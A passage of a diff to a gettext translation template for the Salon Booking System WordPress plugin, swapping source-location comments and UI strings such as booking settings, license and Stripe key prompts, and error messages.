build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:8\n-msgid \"On-line booking available days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:186\n+msgid \"Enter the assistant name\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_tab_attendant_rules.php:9, views\u002Fsettings\u002F_tab_booking_rules.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:9\n-msgid \"Create one or more rules to limit online reservation to specific days and time range. \u003Cbr \u002F>Leave blank if you want bookings available everydays at every hour\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:242\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:242\n+msgid \"Enter the list of options in the value:label format (one per row)\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_tab_attendant_rules.php:40, views\u002Fsettings\u002F_tab_booking_rules.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:40\n-msgid \"Add new booking rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:236\n+msgid \"\"\n+\"Enter your Envato purchase code to verify support status and enable \"\n+\"automatic updates.\"\n msgstr \"\"\n \n-#: views\u002Fnotice\u002Fhtml_notice_update.php:6, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:6, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:6\n-msgid \"Salon Data Update Required\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:175\n+msgid \"Enter your license key\"\n msgstr \"\"\n \n-#: views\u002Fnotice\u002Fhtml_notice_update.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:7\n-msgid \"A database update is required for this version. Please make a back-up of your database before proceed.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:260\n+msgid \"Enter Your Purchase Code\"\n msgstr \"\"\n \n-#: views\u002Fnotice\u002Fhtml_notice_update.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:12\n-msgid \"Run the updater\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:7\n+msgid \"Enter your Stripe api key\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:7\n-msgid \"Pause booking service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:11\n+msgid \"Enter your Stripe publishable api key\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:8, views\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9\n-msgid \"Availability mode\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:23\n+msgid \"entire amount (disabled)\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:9\n-msgid \"Nested bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:459\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:459\n+msgid \"Envato API token is required\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:10, views\u002Fsettings\u002Ftab_booking.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:31\n-msgid \"Customers per session\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:62\n+msgid \"equal to\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:11, views\u002Fsettings\u002Ftab_booking.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:61\n-msgid \"Session average duration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:107\n+msgid \"ERROR\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:12, views\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:10\n-msgid \"Booking steps order\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:69\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:91\n+msgid \"Error\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:13, views\u002Fsettings\u002F_tab_booking_offset.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:10\n-msgid \"Offset between reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:429\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:223\n+msgid \"error\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:14\n-msgid \"Booking time range\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:554\n+msgid \"Error clearing license status.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:16, views\u002Fsettings\u002F_availability_preview.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_preview.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_preview.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_preview.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_preview.php:14\n-msgid \"Opening hours preview\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:559\n+msgid \"Error clearing license status. Please try again.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:17, views\u002Fsettings\u002F_tab_booking_holiday_rules.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:9\n-msgid \"Holidays days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:161\n+msgid \"Error installing indexes: \"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:18, views\u002Fsettings\u002F_tab_booking_confirmation.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_booking.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_booking.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_booking.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:8\n-msgid \"Booking manual confirmation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:252\n+msgid \"Error message\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_booking.php:19, views\u002Fsettings\u002F_tab_booking_cancellation.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_booking.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:19, 